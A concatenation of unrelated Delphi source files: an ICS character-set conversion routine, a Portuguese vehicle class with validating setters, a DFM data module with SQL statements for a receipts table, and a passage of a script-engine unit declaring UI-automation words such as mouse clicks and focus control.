{$IFDEF MSWINDOWS}
var
Info: TCpInfo;
{$ENDIF}
{$IFDEF USE_ICONV}
function LInitIconv: Boolean;
var
CpName : AnsiString;
begin
Result := Assigned(FToWcIconvCtx) and Assigned(FFromWcIconvCtx);
if Result then
Exit;
if Load_Iconv then
begin
CpName := IcsIconvNameFromCodePage(FCodePage);
FToWcIconvCtx := iconv_open(ICONV_UNICODE, PAnsiChar(CpName));
if FToWcIconvCtx = iconv_t(-1) then
begin
FToWcIconvCtx := nil;
Result := FALSE;
Exit;
end;
FFromWcIconvCtx := iconv_open(PAnsiChar(CpName), ICONV_UNICODE);
if FFromWcIconvCtx = iconv_t(-1) then
begin
iconv_close(FToWcIconvCtx);
FToWcIconvCtx := nil;
FFromWcIconvCtx := nil;
Result := FALSE;
Exit;
end;
Result := TRUE;
end;
end;
{$ENDIF}
begin
{$IFDEF USE_ICONV}
if FFromWcIconvCtx <> nil then
begin
iconv_close(FFromWcIconvCtx);
FFromWcIconvCtx := nil;
end;
if FToWcIconvCtx <> nil then
begin
iconv_close(FToWcIconvCtx);
FToWcIconvCtx := nil;
end;
{$ENDIF}
FToWcShiftState := 0;
FFromWcShiftState := 0;
FToWcFunc := nil;
FFromWcFunc := nil;
FCpSizeFunc := nil;
FLeadBytes := GetDbcsLeadBytes(FCodePage);
FDefaultUnicodeChar := IcsGetDefaultWindowsUnicodeChar(FCodePage);
FDefaultAnsiChar := IcsGetDefaultWindowsAnsiChar(FCodePage);
if (FCodePage = CP_UTF16) or (FCodePage = CP_UTF16Be) then
begin
FCpSizeFunc := CheckUtf16CpSize;
FToWcFunc := WcToWc;
FFromWcFunc := WcToWc;
FMinCpSize := 2;
FCharsetType := ictUnicode;
end
else
if (FCodePage = CP_UTF32) or (FCodePage = CP_UTF32Be) then
begin
FCpSizeFunc := CheckUtf32CpSize;
FToWcFunc := Ucs4ToWC;
FFromWcFunc := WcToUcs4;
FMinCpSize := 4;
FCharsetType := ictUnicode;
end
else
if IcsIsSBCSCodePage(FCodepage) then
begin
{$IFDEF USE_ICONV}
if LInitIconv then
begin
FToWcFunc := IconvMbToWc;
FFromWcFunc := IconvWcToMb;
end
else
{$ENDIF}
{$IFDEF MSWINDOWS}
if IsValidCodePage(FCodePage) and
GetCpInfo(FCodePage, Info) then
begin
FToWcFunc := WinMbToWc;
FFromWcFunc := WinWcToMb;
end
else
{$ENDIF}
raise EIcsStringConvertError.CreateFmt(sInvalidEncoding, [FCodePage]);
FCpSizeFunc := CheckSbcCpSize;
FCharsetType := ictSBCS;
FMinCpSize := 1;
end
else
if FLeadBytes <> [] then
begin
{$IFDEF USE_ICONV}
if LInitIconv then
begin
FToWcFunc := IconvMbToWc;
FFromWcFunc := IconvWcToMb;
end
else
{$ENDIF}
{$IFDEF MSWINDOWS}
if IsValidCodePage(FCodePage) and
GetCpInfo(FCodePage, Info) then
begin
FToWcFunc := WinMbToWc;
FFromWcFunc := WinWcToMb;
end
else
{$ENDIF}
raise EIcsStringConvertError.CreateFmt(sInvalidEncoding, [FCodePage]);
FCharsetType := ictDBCS;
FCpSizeFunc := CheckDbcCpSize;
FMinCpSize := 1;
end
else
if FCodePage = CP_UTF8 then
begin
{$IFDEF USE_ICONV}
if LInitIconv then
begin
FToWcFunc := IconvMbToWc;
FFromWcFunc := IconvWcToMb;
end
else
{$ENDIF}
{$IFDEF MSWINDOWS}
if IsValidCodePage(FCodePage) and
GetCpInfo(FCodePage, Info) then
begin
FToWcFunc := WinMbToWc;
FFromWcFunc := WinWcToMb;
end
else
{$ENDIF}
raise EIcsStringConvertError.CreateFmt(sInvalidEncoding, [FCodePage]);
FCpSizeFunc := CheckUtf8CpSize;
FCharsetType := ictMbcsUnicode;
FMinCpSize := 1;
end
else
if CodePage = CP_UTF7 then
begin
{$IFDEF USE_ICONV}
if LInitIconv then
begin
FToWcFunc := IconvMbToWc;
FFromWcFunc := IconvWcToMb;
end
else
{$ENDIF}
{$IFDEF MSWINDOWS}
if IsValidCodePage(FCodePage) and
GetCpInfo(FCodePage, Info) then
begin
FToWcFunc := WinMbToWc;
FFromWcFunc := WinWcToMb;
end
else
{$ENDIF}
raise EIcsStringConvertError.CreateFmt(sInvalidEncoding, [FCodePage]);
FCpSizeFunc := CheckUtf7CpSize;
FCharsetType := ictMbcsUnicode;
FMinCpSize := 1;
end
else begin
FCharsetType := ictMBCS;
FMinCpSize := 1;
{$IFDEF USE_ICONV}
if LInitIconv then
begin
FToWcFunc := IconvMbToWc;
FFromWcFunc := IconvWcToMb;
FCpSizeFunc := CheckMbcCpSizeIconv;
end
else
{$ENDIF}
{$IFDEF MSWINDOWS}
{$IFDEF USE_MLANG}
if Load_MLang and
(IsConvertINetStringAvailable(FCodePage, CP_UTF16) = S_OK) and
(IsConvertINetStringAvailable(CP_UTF16, FCodePage) = S_OK) then
begin
FToWcFunc := MLangMbToWc;
FFromWcFunc := MLangWcToMb;
FCpSizeFunc := CheckMbcCpSizeMLang;
end
else
{$ENDIF}
if IsValidCodePage(FCodePage) and
GetCpInfo(FCodePage, Info) then
begin
FToWcFunc := WinMbToWc;
FFromWcFunc := WinWcToMb;
FCpSizeFunc := CheckMbcCpSize;
end
else
{$ENDIF}
raise EIcsStringConvertError.CreateFmt(sInvalidEncoding, [FCodePage]);
{ GB18030 }
if FCodePage = 54936 then
FCpSizeFunc := CheckGB18030CpSize
{ euc-jp EUC Japanese MBCS Max Size: 3 | MLang.Dll and iconv }
else if FCodePage = 51932 then
FCpSizeFunc := CheckEucJpCpSize;
end;
{$IFDEF USE_ICONV}
// An attempt to mimic changes Win-XP => Vista/Win7 in handling invalid source bytes
FIconvCompatFlags := [];
{$IFDEF MSWINDOWS}
if Win32MajorVersion >= 6 then
begin
{$ENDIF}
if FCharsetType = ictMBCS then
Include(FIconvCompatFlags, icfBreakOnInvalidSequence)
else
case FCodePage of
CP_UTF7 : {No icfUseDefaultUnicodeChar};
else
Include(FIconvCompatFlags, icfUseDefaultUnicodeChar);
end;
{$IFDEF MSWINDOWS}
end
else begin
case FCodePage of
CP_UTF7..CP_UTF8 : {No icfUseDefaultUnicodeChar};
else
Include(FIconvCompatFlags, icfUseDefaultUnicodeChar);
end;
end;
{$ENDIF}
{$ENDIF}
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TIcsCsc.ClearToWcShiftState;
{$IFDEF USE_ICONV}
var
LZero: size_t;
LNil : Pointer;
{$ENDIF}
begin
FToWcShiftState := 0;
{$IFDEF USE_ICONV}
LNil := nil;
if FToWcIconvCtx <> nil then
iconv(FToWcIconvCtx, @LNil, @LZero, @LNil, @LZero);
{$ENDIF}
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TIcsCsc.ClearFromWcShiftState;
{$IFDEF USE_ICONV}
var
LZero: size_t;
LNil : Pointer;
{$ENDIF}
begin
FFromWcShiftState := 0;
{$IFDEF USE_ICONV}
LNil := nil;
if FFromWcIconvCtx <> nil then
iconv(FFromWcIconvCtx, @LNil, @LZero, @LNil, @LZero);
{$ENDIF}
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TIcsCsc.ClearAllShiftStates;
begin
ClearToWcShiftState;
ClearFromWcShiftState;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.FromWc(Flags: LongWord; InBuf: Pointer; InSize: Integer;
OutBuf: Pointer; OutSize: Integer): Integer;
begin
Result := FFromWcFunc(Self, Flags, InBuf, InSize, OutBuf, OutSize);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.ToWc(Flags: LongWord; InBuf: Pointer; InSize: Integer;
OutBuf: Pointer; OutSize: Integer): Integer;
begin
Result := FToWcFunc(Self, Flags, InBuf, InSize, OutBuf, OutSize);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.GetBomBytes: TBytes;
begin
Result := IcsGetBomBytes(FCodePage);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.GetNextCodePoint(Buf: Pointer; BufSize: Integer;
Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Pointer;
var
SeqSize : Integer;
begin
Result := Buf;
SeqSize := GetNextCodePointSize(Buf, BufSize, Flags);
if SeqSize > 0 then
Inc(PByte(Result), SeqSize)
else if (SeqSize = ICS_ERR_EINVAL) and (ncfSkipEINVAL in Flags) then
Inc(PByte(Result), BufSize);
{else
ICS_ERR_EINVAL }
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.GetNextCodePointSize(Buf: Pointer;
BufSize: Integer; Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer;
begin
if (Buf = nil) or (BufSize < 1) then
Result := 0
else begin
Result := FCpSizeFunc(Self, Buf, BufSize);
if (Result <= ICS_ERR_EILSEQ) and (ncfSkipEILSEQ in Flags) then
begin
if Result < ICS_ERR_EILSEQ then
Result := -(Result - ICS_ERR_EILSEQ)
else
Result := MinCpSize;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ TIcsCscStr }
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCscStr.GetNextCodePointIndex(const S: RawByteString; Index: Integer;
Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer;
var
Len : Integer;
SeqSize : Integer;
begin
Len := Length(S);
Assert((Index > 0) and (Index <= Len));
Result := Index;
SeqSize := GetNextCodePointSize(PAnsiChar(S) + Index - 1, Len - Index + 1,
Flags);
if SeqSize > 0 then
Inc(Result, SeqSize)
else if (SeqSize = ICS_ERR_EINVAL) and (ncfSkipEINVAL in Flags) then
Inc(Result, Len - Index + 1);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCscStr.GetNextCodePointIndex(const S: UnicodeString; Index: Integer;
Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer;
var
Len : Integer;
SeqSize : Integer;
begin
Len := Length(S);
Assert((Index > 0) and (Index <= Len));
Result := Index;
SeqSize := GetNextCodePointSize(PWideChar(S) + Index - 1,
(Len - Index + 1) * SizeOf(WideChar),
Flags);
if SeqSize > 0 then
Inc(Result, SeqSize div SizeOf(WideChar))
else if (SeqSize = ICS_ERR_EINVAL) and (ncfSkipEINVAL in Flags) then
Inc(Result, (Len - Index + 1));
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
end.
|
unit uClasse.Veiculo;
interface
uses
uClasse.Conexao.SqlServer, System.SysUtils;
type
TVeiculo = class
private
Ftipo: string;
Fcodigo: integer;
Fcor: string;
Ftamanho: double;
FqtdPortas: integer;
Fcombustivel: string;
FAceitaPassageiros: boolean;
FMarca: string;
FPossuiComputadorBordo: boolean;
FCapacidadeCarga: double;
FQtdAcentos: integer;
Fautonomia: double;
FLitrosConsumidos: double;
FDataUltimaTrocaOleo: TDateTime;
FDiasMaximoProximaTrocaOleo: integer;
FDataProximaTrocaOleo: TDateTime;
function GetTipo: string;
procedure SetTipo(const Value: string);
procedure setTamanho(const Value: double);
procedure SetCapacidadeCarga(const Value: double);
procedure SetQtdAcentos(const Value: integer);
public
property tipo: string read GetTipo write SetTipo;
property codigo: integer read Fcodigo write Fcodigo;
property cor: string read Fcor write Fcor;
property tamanho: double read Ftamanho write setTamanho;
property qtdPortas: integer read FqtdPortas write FqtdPortas;
property combustivel: string read Fcombustivel write Fcombustivel;
property AceitaPassageiros: boolean read FAceitaPassageiros write FAceitaPassageiros;
property Marca: string read FMarca write FMarca;
property PossuiComputadorBordo: boolean read FPossuiComputadorBordo write FPossuiComputadorBordo;
property CapacidadeCarga: double read FCapacidadeCarga write SetCapacidadeCarga;
property QtdAcentos: integer read FQtdAcentos write SetQtdAcentos;
property autonomia: double read Fautonomia write Fautonomia;
property LitrosConsumidos: double read FLitrosConsumidos write FLitrosConsumidos;
property DataUltimaTrocaOleo: TDateTime read FDataUltimaTrocaOleo write FDataUltimaTrocaOleo;
property DiasMaximoProximaTrocaOleo: integer read FDiasMaximoProximaTrocaOleo write FDiasMaximoProximaTrocaOleo;
property DataProximaTrocaOleo: TDateTime read FDataProximaTrocaOleo write FDataProximaTrocaOleo;
function CalcularAutonomia(pQtdKmPercorrido, pQtdLitrosConsumidos: double): double; overload;
function CalcularAutonomia(pQtdKmPercorrido: integer; pQtdLitrosConsumidos: double): double; overload;
function RetornaAplicacaoUso: string; virtual;
function RetornarProximaTrocaOleo: TDateTime; virtual; abstract;
end;
implementation
{ TVeiculo }
{ TVeiculo }
function TVeiculo.CalcularAutonomia(pQtdKmPercorrido: integer;
pQtdLitrosConsumidos: double): double;
begin
Result:= pQtdKmPercorrido / pQtdLitrosConsumidos;
end;
function TVeiculo.CalcularAutonomia(pQtdKmPercorrido,
pQtdLitrosConsumidos: double): double;
begin
Result:= pQtdKmPercorrido / pQtdLitrosConsumidos;
end;
function TVeiculo.GetTipo: string;
begin
Result := FTipo;
end;
function TVeiculo.RetornaAplicacaoUso: string;
begin
tipo := 'Classe Pai TVeiculo!!!';
result := 'Classe Pai TVeiculo!!!';
end;
procedure TVeiculo.SetCapacidadeCarga(const Value: double);
begin
if value > 0 then
FCapacidadeCarga := Value
else
begin
raise Exception.Create('Capacidade de carga precisa ser maior do que 0');
abort;
end;
end;
procedure TVeiculo.SetQtdAcentos(const Value: integer);
begin
if Value > 0 then
FQtdAcentos := Value
else
begin
raise Exception.Create('Quantidade de acentos precisa ser maior do que 0');
abort;
end;
end;
procedure TVeiculo.setTamanho(const Value: double);
begin
if Value > 0 then
Ftamanho := Value
else
begin
raise Exception.Create('Tamanho precisa ser maior do que 0');
abort;
end;
end;
procedure TVeiculo.SetTipo(const Value: string);
begin
FTipo := Value;
end;
end.
|
inherited dmRcboParceiros: TdmRcboParceiros
OldCreateOrder = True
inherited qryManutencao: TIBCQuery
SQLInsert.Strings = (
'INSERT INTO STWACRTRECT'
' (FIL_RECIBO, NRO_RECIBO, EMISSAO, REFERENCIA_I, REFERENCIA_F, ' +
'UNIDADE, VLR_COMISSOES, VLR_CREDITOS, VLR_DESCONTOS, VLR_LIQUIDO' +
', OBS, STATUS, FIL_ORIGEM, AUTORIZACAO, PARCELA, DT_ALTERACAO, O' +
'PERADOR)'
'VALUES'
' (:FIL_RECIBO, :NRO_RECIBO, :EMISSAO, :REFERENCIA_I, :REFERENCI' +
'A_F, :UNIDADE, :VLR_COMISSOES, :VLR_CREDITOS, :VLR_DESCONTOS, :V' +
'LR_LIQUIDO, :OBS, :STATUS, :FIL_ORIGEM, :AUTORIZACAO, :PARCELA, ' +
':DT_ALTERACAO, :OPERADOR)')
SQLDelete.Strings = (
'DELETE FROM STWACRTRECT'
'WHERE'
' FIL_RECIBO = :Old_FIL_RECIBO AND NRO_RECIBO = :Old_NRO_RECIBO')
SQLUpdate.Strings = (
'UPDATE STWACRTRECT'
'SET'
' FIL_RECIBO = :FIL_RECIBO, NRO_RECIBO = :NRO_RECIBO, EMISSAO = ' +
':EMISSAO, REFERENCIA_I = :REFERENCIA_I, REFERENCIA_F = :REFERENC' +
'IA_F, UNIDADE = :UNIDADE, VLR_COMISSOES = :VLR_COMISSOES, VLR_CR' +
'EDITOS = :VLR_CREDITOS, VLR_DESCONTOS = :VLR_DESCONTOS, VLR_LIQU' +
'IDO = :VLR_LIQUIDO, OBS = :OBS, STATUS = :STATUS, FIL_ORIGEM = :' +
'FIL_ORIGEM, AUTORIZACAO = :AUTORIZACAO, PARCELA = :PARCELA, DT_A' +
'LTERACAO = :DT_ALTERACAO, OPERADOR = :OPERADOR'
'WHERE'
' FIL_RECIBO = :Old_FIL_RECIBO AND NRO_RECIBO = :Old_NRO_RECIBO')
SQLRefresh.Strings = (
'SELECT FIL_RECIBO, NRO_RECIBO, EMISSAO, REFERENCIA_I, REFERENCIA' +
'_F, UNIDADE, VLR_COMISSOES, VLR_CREDITOS, VLR_DESCONTOS, VLR_LIQ' +
'UIDO, OBS, STATUS, FIL_ORIGEM, AUTORIZACAO, PARCELA, DT_ALTERACA' +
'O, OPERADOR FROM STWACRTRECT'
'WHERE'
' FIL_RECIBO = :Old_FIL_RECIBO AND NRO_RECIBO = :Old_NRO_RECIBO')
SQLLock.Strings = (
'SELECT NULL FROM STWACRTRECT'
'WHERE'
'FIL_RECIBO = :Old_FIL_RECIBO AND NRO_RECIBO = :Old_NRO_RECIBO'
'FOR UPDATE WITH LOCK')
SQL.Strings = (
'SELECT'
' RECP.FIL_RECIBO, '
' RECP.NRO_RECIBO, '
' RECP.EMISSAO, '
' RECP.REFERENCIA_I, '
' RECP.REFERENCIA_F, '
' RECP.UNIDADE, '
' RECP.VLR_COMISSOES, '
' RECP.VLR_CREDITOS, '
' RECP.VLR_DESCONTOS, '
' RECP.VLR_LIQUIDO, '
' RECP.OBS, '
' RECP.STATUS, '
' RECP.FIL_ORIGEM, '
' RECP.AUTORIZACAO, '
' RECP.PARCELA, '
' RECP.DT_ALTERACAO, '
' RECP.OPERADOR,'
' FIL.NOME NM_UNIDADE'
'FROM STWACRTRECT RECP'
'LEFT JOIN STWOPETFIL FIL ON FIL.FILIAL = RECP.UNIDADE')
object qryManutencaoFIL_RECIBO: TStringField
FieldName = 'FIL_RECIBO'
Required = True
Size = 3
end
object qryManutencaoNRO_RECIBO: TFloatField
FieldName = 'NRO_RECIBO'
Required = True
end
object qryManutencaoEMISSAO: TDateTimeField
FieldName = 'EMISSAO'
end
object qryManutencaoREFERENCIA_I: TDateTimeField
FieldName = 'REFERENCIA_I'
end
object qryManutencaoREFERENCIA_F: TDateTimeField
FieldName = 'REFERENCIA_F'
end
object qryManutencaoUNIDADE: TStringField
FieldName = 'UNIDADE'
Size = 3
end
object qryManutencaoVLR_COMISSOES: TFloatField
FieldName = 'VLR_COMISSOES'
end
object qryManutencaoVLR_CREDITOS: TFloatField
FieldName = 'VLR_CREDITOS'
end
object qryManutencaoVLR_DESCONTOS: TFloatField
FieldName = 'VLR_DESCONTOS'
end
object qryManutencaoVLR_LIQUIDO: TFloatField
FieldName = 'VLR_LIQUIDO'
end
object qryManutencaoOBS: TBlobField
FieldName = 'OBS'
end
object qryManutencaoSTATUS: TStringField
FieldName = 'STATUS'
Size = 2
end
object qryManutencaoFIL_ORIGEM: TStringField
FieldName = 'FIL_ORIGEM'
Size = 3
end
object qryManutencaoAUTORIZACAO: TFloatField
FieldName = 'AUTORIZACAO'
end
object qryManutencaoPARCELA: TIntegerField
FieldName = 'PARCELA'
end
object qryManutencaoDT_ALTERACAO: TDateTimeField
FieldName = 'DT_ALTERACAO'
end
object qryManutencaoOPERADOR: TStringField
FieldName = 'OPERADOR'
end
object qryManutencaoNM_UNIDADE: TStringField
FieldName = 'NM_UNIDADE'
ProviderFlags = []
ReadOnly = True
Size = 40
end
end
inherited qryLocalizacao: TIBCQuery
SQL.Strings = (
'SELECT'
' RECP.FIL_RECIBO, '
' RECP.NRO_RECIBO, '
' RECP.EMISSAO, '
' RECP.REFERENCIA_I, '
' RECP.REFERENCIA_F, '
' RECP.UNIDADE, '
' RECP.VLR_COMISSOES, '
' RECP.VLR_CREDITOS, '
' RECP.VLR_DESCONTOS, '
' RECP.VLR_LIQUIDO, '
' RECP.OBS, '
' RECP.STATUS, '
' RECP.FIL_ORIGEM, '
' RECP.AUTORIZACAO, '
' RECP.PARCELA, '
' RECP.DT_ALTERACAO, '
' RECP.OPERADOR,'
' FIL.NOME NM_UNIDADE'
'FROM STWACRTRECT RECP'
'LEFT JOIN STWOPETFIL FIL ON FIL.FILIAL = RECP.UNIDADE')
object qryLocalizacaoFIL_RECIBO: TStringField
FieldName = 'FIL_RECIBO'
Required = True
Size = 3
end
object qryLocalizacaoNRO_RECIBO: TFloatField
FieldName = 'NRO_RECIBO'
Required = True
end
object qryLocalizacaoEMISSAO: TDateTimeField
FieldName = 'EMISSAO'
end
object qryLocalizacaoREFERENCIA_I: TDateTimeField
FieldName = 'REFERENCIA_I'
end
object qryLocalizacaoREFERENCIA_F: TDateTimeField
FieldName = 'REFERENCIA_F'
end
object qryLocalizacaoUNIDADE: TStringField
FieldName = 'UNIDADE'
Size = 3
end
object qryLocalizacaoVLR_COMISSOES: TFloatField
FieldName = 'VLR_COMISSOES'
end
object qryLocalizacaoVLR_CREDITOS: TFloatField
FieldName = 'VLR_CREDITOS'
end
object qryLocalizacaoVLR_DESCONTOS: TFloatField
FieldName = 'VLR_DESCONTOS'
end
object qryLocalizacaoVLR_LIQUIDO: TFloatField
FieldName = 'VLR_LIQUIDO'
end
object qryLocalizacaoOBS: TBlobField
FieldName = 'OBS'
end
object qryLocalizacaoSTATUS: TStringField
FieldName = 'STATUS'
Size = 2
end
object qryLocalizacaoFIL_ORIGEM: TStringField
FieldName = 'FIL_ORIGEM'
Size = 3
end
object qryLocalizacaoAUTORIZACAO: TFloatField
FieldName = 'AUTORIZACAO'
end
object qryLocalizacaoPARCELA: TIntegerField
FieldName = 'PARCELA'
end
object qryLocalizacaoDT_ALTERACAO: TDateTimeField
FieldName = 'DT_ALTERACAO'
end
object qryLocalizacaoOPERADOR: TStringField
FieldName = 'OPERADOR'
end
object qryLocalizacaoNM_UNIDADE: TStringField
FieldName = 'NM_UNIDADE'
ReadOnly = True
Size = 40
end
end
end
|
unit WinControlsProcessingPack;
// Модуль: "w:\common\components\rtl\Garant\ScriptEngine\WinControlsProcessingPack.pas"
// Стереотип: "ScriptKeywordsPack"
// Элемент модели: "WinControlsProcessingPack" MUID: (54F5C4B203BD)
{$Include w:\common\components\rtl\Garant\ScriptEngine\seDefine.inc}
interface
{$If NOT Defined(NoScripts) AND NOT Defined(NoVCL)}
uses
l3IntfUses
;
{$IfEnd} // NOT Defined(NoScripts) AND NOT Defined(NoVCL)
implementation
{$If NOT Defined(NoScripts) AND NOT Defined(NoVCL)}
uses
l3ImplUses
, Controls
, tfwClassLike
, tfwScriptingInterfaces
, Types
, TypInfo
, Classes
, tfwPropertyLike
, tfwTypeInfo
, Messages
, Windows
, SysUtils
, TtfwTypeRegistrator_Proxy
, tfwScriptingTypes
//#UC START# *54F5C4B203BDimpl_uses*
//#UC END# *54F5C4B203BDimpl_uses*
;
type
TkwPopControlMouseLeftClick = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseLeftClick }
private
procedure MouseLeftClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseLeftClick }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseLeftClick
TkwPopControlMouseMiddleClick = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseMiddleClick }
private
procedure MouseMiddleClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseMiddleClick }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseMiddleClick
TkwPopControlMouseRightClick = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseRightClick }
private
procedure MouseRightClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseRightClick }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseRightClick
TkwPopControlFindControlByName = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:FindControlByName }
private
function FindControlByName(const aCtx: TtfwContext;
aControl: TWinControl;
const aName: AnsiString): TComponent;
{* Реализация слова скрипта pop:Control:FindControlByName }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlFindControlByName
TkwPopControlGetControl = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:GetControl }
private
function GetControl(const aCtx: TtfwContext;
aControl: TWinControl;
anIndex: Integer): TControl;
{* Реализация слова скрипта pop:Control:GetControl }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlGetControl
TkwPopControlMouseWheelUp = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseWheelUp }
private
procedure MouseWheelUp(const aCtx: TtfwContext;
aControl: TWinControl);
{* Реализация слова скрипта pop:Control:MouseWheelUp }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseWheelUp
TkwPopControlMouseWheelDown = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseWheelDown }
private
procedure MouseWheelDown(const aCtx: TtfwContext;
aControl: TWinControl);
{* Реализация слова скрипта pop:Control:MouseWheelDown }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseWheelDown
TkwPopControlSetFocus = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:SetFocus }
private
function SetFocus(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
{* Реализация слова скрипта pop:Control:SetFocus }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlSetFocus
TkwPopControlMouseLeftDragAndDrop = {final} class(TtfwClassLike)
{* Слово скрипта pop:Control:MouseLeftDragAndDrop }
private
procedure MouseLeftDragAndDrop(const aCtx: TtfwContext;
aControl: TWinControl;
const aDelta: TPoint;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseLeftDragAndDrop }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
end;//TkwPopControlMouseLeftDragAndDrop
TkwPopControlControlCount = {final} class(TtfwPropertyLike)
{* Слово скрипта pop:Control:ControlCount }
private
function ControlCount(const aCtx: TtfwContext;
aControl: TWinControl): Integer;
{* Реализация слова скрипта pop:Control:ControlCount }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwPopControlControlCount
TkwPopControlHandle = {final} class(TtfwPropertyLike)
{* Слово скрипта pop:Control:Handle }
private
function Handle(const aCtx: TtfwContext;
aControl: TWinControl): Cardinal;
{* Реализация слова скрипта pop:Control:Handle }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwPopControlHandle
TkwPopControlFocused = {final} class(TtfwPropertyLike)
{* Слово скрипта pop:Control:Focused }
private
function Focused(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
{* Реализация слова скрипта pop:Control:Focused }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwPopControlFocused
TkwPopControlCanFocus = {final} class(TtfwPropertyLike)
{* Слово скрипта pop:Control:CanFocus }
private
function CanFocus(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
